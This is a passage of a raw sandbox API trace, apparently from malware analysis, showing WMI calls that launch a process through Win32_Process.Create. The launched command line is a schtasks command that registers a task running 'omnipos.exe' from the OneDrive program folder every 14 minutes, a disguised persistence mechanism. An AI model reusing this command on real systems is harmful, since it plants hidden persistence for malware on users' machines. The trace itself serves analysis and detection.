returned 0x80004002 [0139.807] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc4040, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc95230) returned 0x0 [0139.807] WbemDefPath:IUnknown:Release (This=0x1bcc4040) returned 0x0 [0139.807] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95230, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc95230) returned 0x0 [0139.808] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95230, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0139.808] WbemDefPath:IUnknown:AddRef (This=0x1bc95230) returned 0x3 [0139.808] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95230, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0139.808] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95230, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0139.808] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95230, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bcc4080) returned 0x0 [0139.808] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc4080, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0139.808] WbemDefPath:IUnknown:Release (This=0x1bcc4080) returned 0x3 [0139.808] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0139.808] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0139.808] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95230, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0139.808] WbemDefPath:IUnknown:Release (This=0x1bc95230) returned 0x2 [0139.808] WbemDefPath:IUnknown:Release (This=0x1bc95230) returned 0x1 [0139.809] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0139.809] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0139.809] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95230, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc95230) returned 0x0 [0139.809] WbemDefPath:IUnknown:AddRef (This=0x1bc95230) returned 0x3 [0139.809] WbemDefPath:IUnknown:Release (This=0x1bc95230) returned 0x2 [0139.809] WbemDefPath:IWbemPath:SetText (This=0x1bc95230, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0139.809] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95170, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0139.809] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95230, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0139.809] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95230, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0139.809] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95230, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0139.809] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc95170) returned 0x0 [0139.809] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95230, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0139.809] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc95230, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0139.809] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc95230, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0139.809] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc95170, uIndex=0x0, pszName="root") returned 0x0 [0139.809] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc95230, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0139.809] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc95230, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0139.809] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc95170, uIndex=0x1, pszName="cimv2") returned 0x0 [0139.809] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc95230, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0139.809] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc95230, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0139.809] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc95170, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0139.809] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc95170, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0139.809] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc95170, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0139.810] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94db0, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0139.810] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94db0, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0139.810] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94db0, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0139.810] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94db0, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0139.810] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94db0, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0139.810] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94db0, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0139.810] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95170, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0139.810] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95170, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0139.810] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95170, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0139.810] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95170, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0139.810] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95170, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0139.810] IWbemServices:GetObject (in: This=0x1bcc5c10, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1aa27ad0, ppCallResult=0x0) returned 0x0 [0139.817] IWbemClassObject:GetMethod (in: This=0x1aa27ad0, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1aa27e40, ppOutSignature=0x1bb7e690*=0x1aa281b0) returned 0x0 [0139.817] IWbemClassObject:SpawnInstance (in: This=0x1aa27e40, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1aa1a2b0) returned 0x0 [0139.818] IWbemClassObject:Get (in: This=0x1aa1a2b0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c6070*=0, plFlavor=0x28c6074*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c6070*=8, plFlavor=0x28c6074*=32) returned 0x0 [0139.818] IWbemClassObject:Get (in: This=0x1aa1a2b0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c6070*=8, plFlavor=0x28c6074*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c6070*=8, plFlavor=0x28c6074*=32) returned 0x0 [0139.818] IWbemClassObject:Put (This=0x1aa1a2b0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"omniposo\" /sc MINUTE /mo 14 /tr \"'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0139.819] IWbemClassObject:Get (in: This=0x1aa1a2b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c6100*=0, plFlavor=0x28c6104*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c6100*=13, plFlavor=0x28c6104*=32) returned 0x0 [0139.819] IWbemClassObject:Get (in: This=0x1aa1a2b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c6100*=13, plFlavor=0x28c6104*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c6100*=13, plFlavor=0x28c6104*=32) returned 0x0 [0139.819] IUnknown:QueryInterface (in: This=0x1aa273f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1aa273f0) returned 0x0 [0139.819] IUnknown:QueryInterface (in: This=0x1aa273f0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0139.819] IUnknown:QueryInterface (in: This=0x1aa273f0, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0139.819] IUnknown:AddRef (This=0x1aa273f0) returned 0x3 [0139.819] IUnknown:QueryInterface (in: This=0x1aa273f0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0139.819] IUnknown:QueryInterface (in: This=0x1aa273f0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0139.820] IUnknown:QueryInterface (in: This=0x1aa273f0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1aa273f8) returned 0x0 [0139.820] IMarshal:GetUnmarshalClass (in: This=0x1aa273f8, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0139.820] IUnknown:Release (This=0x1aa273f8) returned 0x3 [0139.820] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0139.820] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0139.820] IUnknown:QueryInterface (in: This=0x1aa273f0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0139.820] IUnknown:Release (This=0x1aa273f0) returned 0x2 [0139.820] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0139.820] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0139.820] IUnknown:QueryInterface (in: This=0x1aa273f0, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0139.820] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0139.820] IUnknown:QueryInterface (in: This=0x1aa273f0, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0139.820] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0139.820] IUnknown:AddRef (This=0x1aa273f0) returned 0x3 [0139.820] IWbemClassObject:Put (This=0x1aa1a2b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1aa273f0, varVal2=0x0), Type=0) returned 0x0 [0139.820] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94e70, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0139.820] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94e70, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0139.820] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94e70, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0139.821] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94db0, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0139.821] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94db0, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0139.821] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94db0, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0139.821] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94e70, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0139.821] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94e70, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0139.821] IWbemServices:ExecMethod (in: This=0x1bcc5c10, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1aa1a2b0, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1aa1a560, ppCallResult=0x0) returned 0x0 [0140.212] IWbemClassObject:Get (in: This=0x1aa1a560, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c6418*=0, plFlavor=0x28c641c*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfa4, varVal2=0x0), pType=0x28c6418*=19, plFlavor=0x28c641c*=0) returned 0x0 [0140.213] IWbemClassObject:Get (in: This=0x1aa1a560, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c6418*=19, plFlavor=0x28c641c*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfa4, varVal2=0x0), pType=0x28c6418*=19, plFlavor=0x28c641c*=0) returned 0x0 [0140.213] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0140.213] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0140.214] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0140.214] IUnknown:Release (This=0x1a943398) returned 0x1 [0140.216] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bcc4280) returned 0x0 [0140.216] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc4280, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0140.216] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc4280, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc952f0) returned 0x0 [0140.216] WbemDefPath:IUnknown:Release (This=0x1bcc4280) returned 0x0 [0140.216] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc952f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc952f0) returned 0x0 [0140.216] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc952f0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0140.217] WbemDefPath:IUnknown:AddRef (This=0x1bc952f0) returned 0x3 [0140.217] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc952f0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0140.217] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc952f0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0140.217] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc952f0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bcc42c0) returned 0x0 [0140.217] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc42c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0140.217] WbemDefPath:IUnknown:Release (This=0x1bcc42c0) returned 0x3 [0140.217] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0140.217] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0140.217] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc952f0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0140.217] WbemDefPath:IUnknown:Release (This=0x1bc952f0) returned 0x2 [0140.217] WbemDefPath:IUnknown:Release (This=0x1bc952f0) returned 0x1 [0140.217] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0140.217] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0140.217] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc952f0, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc952f0) returned 0x0 [0140.217] WbemDefPath:IUnknown:AddRef (This=0x1bc952f0) returned 0x3 [0140.217] WbemDefPath:IUnknown:Release (This=0x1bc952f0) returned 0x2 [0140.217] WbemDefPath:IWbemPath:SetText (This=0x1bc952f0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0140.217] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc952f0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0140.217] 